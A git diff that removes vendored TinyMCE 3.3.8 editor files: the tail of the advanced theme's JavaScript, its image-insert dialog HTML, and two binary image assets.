'font': - if (v = DOM.getAttrib(n, 'face')) - ti += 'font: ' + v + ' '; - - if (v = DOM.getAttrib(n, 'size')) - ti += 'size: ' + v + ' '; - - if (v = DOM.getAttrib(n, 'color')) - ti += 'color: ' + v + ' '; - - break; - - case 'span': - if (v = DOM.getAttrib(n, 'style')) - ti += 'style: ' + v + ' '; - - break; - } - - if (v = DOM.getAttrib(n, 'id')) - ti += 'id: ' + v + ' '; - - if (v = n.className) { - v = v.replace(/\b\s*(webkit|mce|Apple-)\w+\s*\b/g, '') - - if (v) { - ti += 'class: ' + v + ' '; - - if (DOM.isBlock(n) || na == 'img' || na == 'span') - na += '.' + v; - } - } - - na = na.replace(/(html:)/g, ''); - na = {name : na, node : n, title : ti}; - t.onResolveName.dispatch(t, na); - ti = na.title; - na = na.name; - - //u = "javascript:tinymce.EditorManager.get('" + ed.id + "').theme._sel('" + (de++) + "');"; - pi = DOM.create('a', {'href' : "javascript:;", onmousedown : "return false;", title : ti, 'class' : 'mcePath_' + (de++)}, na); - - if (p.hasChildNodes()) { - p.insertBefore(DOM.doc.createTextNode(' \u00bb '), p.firstChild); - p.insertBefore(pi, p.firstChild); - } else - p.appendChild(pi); - }, ed.getBody()); - } - }, - - // Commands gets called by execCommand - - _sel : function(v) { - this.editor.execCommand('mceSelectNodeDepth', false, v); - }, - - _mceInsertAnchor : function(ui, v) { - var ed = this.editor; - - ed.windowManager.open({ - url : tinymce.baseURL + '/themes/advanced/anchor.htm', - width : 320 + parseInt(ed.getLang('advanced.anchor_delta_width', 0)), - height : 90 + parseInt(ed.getLang('advanced.anchor_delta_height', 0)), - inline : true - }, { - theme_url : this.url - }); - }, - - _mceCharMap : function() { - var ed = this.editor; - - ed.windowManager.open({ - url : tinymce.baseURL + '/themes/advanced/charmap.htm', - width : 550 + parseInt(ed.getLang('advanced.charmap_delta_width', 0)), - height : 250 + parseInt(ed.getLang('advanced.charmap_delta_height', 0)), - inline : true - }, { - theme_url : this.url - }); - }, - - _mceHelp : function() { - var ed = this.editor; - - ed.windowManager.open({ - url : tinymce.baseURL + '/themes/advanced/about.htm', - width : 480, - height : 380, - inline : true - }, { - theme_url : this.url - }); - }, - - _mceColorPicker : function(u, v) { - var ed = this.editor; - - v = v || {}; - - ed.windowManager.open({ - url : tinymce.baseURL + '/themes/advanced/color_picker.htm', - width : 375 + parseInt(ed.getLang('advanced.colorpicker_delta_width', 0)), - height : 250 + parseInt(ed.getLang('advanced.colorpicker_delta_height', 0)), - close_previous : false, - inline : true - }, { - input_color : v.color, - func : v.func, - theme_url : this.url - }); - }, - - _mceCodeEditor : function(ui, val) { - var ed = this.editor; - - ed.windowManager.open({ - url : tinymce.baseURL + '/themes/advanced/source_editor.htm', - width : parseInt(ed.getParam("theme_advanced_source_editor_width", 720)), - height : parseInt(ed.getParam("theme_advanced_source_editor_height", 580)), - inline : true, - resizable : true, - maximizable : true - }, { - theme_url : this.url - }); - }, - - _mceImage : function(ui, val) { - var ed = this.editor; - - // Internal image object like a flash placeholder - if (ed.dom.getAttrib(ed.selection.getNode(), 'class').indexOf('mceItem') != -1) - return; - - ed.windowManager.open({ - url : tinymce.baseURL + '/themes/advanced/image.htm', - width : 355 + parseInt(ed.getLang('advanced.image_delta_width', 0)), - height : 275 + parseInt(ed.getLang('advanced.image_delta_height', 0)), - inline : true - }, { - theme_url : this.url - }); - }, - - _mceLink : function(ui, val) { - var ed = this.editor; - - ed.windowManager.open({ - url : tinymce.baseURL + '/themes/advanced/link.htm', - width : 310 + parseInt(ed.getLang('advanced.link_delta_width', 0)), - height : 200 + parseInt(ed.getLang('advanced.link_delta_height', 0)), - inline : true - }, { - theme_url : this.url - }); - }, - - _mceNewDocument : function() { - var ed = this.editor; - - ed.windowManager.confirm('advanced.newdocument', function(s) { - if (s) - ed.execCommand('mceSetContent', false, ''); - }); - }, - - _mceForeColor : function() { - var t = this; - - this._mceColorPicker(0, { - color: t.fgColor, - func : function(co) { - t.fgColor = co; - t.editor.execCommand('ForeColor', false, co); - } - }); - }, - - _mceBackColor : function() { - var t = this; - - this._mceColorPicker(0, { - color: t.bgColor, - func : function(co) { - t.bgColor = co; - t.editor.execCommand('HiliteColor', false, co); - } - }); - }, - - _ufirst : function(s) { - return s.substring(0, 1).toUpperCase() + s.substring(1); - } - }); - - tinymce.ThemeManager.add('advanced', tinymce.themes.AdvancedTheme); -}(tinymce)); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/image.htm b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/image.htm deleted file mode 100644 index f30d670..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/image.htm +++ /dev/null @@ -1,80 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#advanced_dlg.image_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="js/image.js"></script> -</head> -<body id="image" style="display: none"> -<form onsubmit="ImageDialog.update();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advanced_dlg.image_title}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="nowrap"><label for="src">{#advanced_dlg.image_src}</label></td> - <td><table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="src" name="src" type="text" class="mceFocus" value="" style="width: 200px" onchange="ImageDialog.getImageData();" /></td> - <td id="srcbrowsercontainer">&nbsp;</td> - </tr> - </table></td> - </tr> - <tr> - <td><label for="image_list">{#advanced_dlg.image_list}</label></td> - <td><select id="image_list" name="image_list" onchange="document.getElementById('src').value=this.options[this.selectedIndex].value;document.getElementById('alt').value=this.options[this.selectedIndex].text;"></select></td> - </tr> - <tr> - <td class="nowrap"><label for="alt">{#advanced_dlg.image_alt}</label></td> - <td><input id="alt" name="alt" type="text" value="" style="width: 200px" /></td> - </tr> - <tr> - <td class="nowrap"><label for="align">{#advanced_dlg.image_align}</label></td> - <td><select id="align" name="align" onchange="ImageDialog.updateStyle();"> - <option value="">{#not_set}</option> - <option value="baseline">{#advanced_dlg.image_align_baseline}</option> - <option value="top">{#advanced_dlg.image_align_top}</option> - <option value="middle">{#advanced_dlg.image_align_middle}</option> - <option value="bottom">{#advanced_dlg.image_align_bottom}</option> - <option value="text-top">{#advanced_dlg.image_align_texttop}</option> - <option value="text-bottom">{#advanced_dlg.image_align_textbottom}</option> - <option value="left">{#advanced_dlg.image_align_left}</option> - <option value="right">{#advanced_dlg.image_align_right}</option> - </select></td> - </tr> - <tr> - <td class="nowrap"><label for="width">{#advanced_dlg.image_dimensions}</label></td> - <td><input id="width" name="width" type="text" value="" size="3" maxlength="5" /> - x - <input id="height" name="height" type="text" value="" size="3" maxlength="5" /></td> - </tr> - <tr> - <td class="nowrap"><label for="border">{#advanced_dlg.image_border}</label></td> - <td><input id="border" name="border" type="text" value="" size="3" maxlength="3" onchange="ImageDialog.updateStyle();" /></td> - </tr> - <tr> - <td class="nowrap"><label for="vspace">{#advanced_dlg.image_vspace}</label></td> - <td><input id="vspace" name="vspace" type="text" value="" size="3" maxlength="3" onchange="ImageDialog.updateStyle();" /></td> - </tr> - <tr> - <td class="nowrap"><label for="hspace">{#advanced_dlg.image_hspace}</label></td> - <td><input id="hspace" name="hspace" type="text" value="" size="3" maxlength="3" onchange="ImageDialog.updateStyle();" /></td> - </tr> - </table> - </div> - </div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#insert}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/img/colorpicker.jpg b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/img/colorpicker.jpg deleted file mode 100644 index b4c542d107b25f68a9d4f9d7a109d0565d1f1437..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3189 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 diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/img/icons.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/img/icons.gif deleted file mode 100644 index e46de5333082869b9bdab2576a554a2f9d01a966..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11794 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 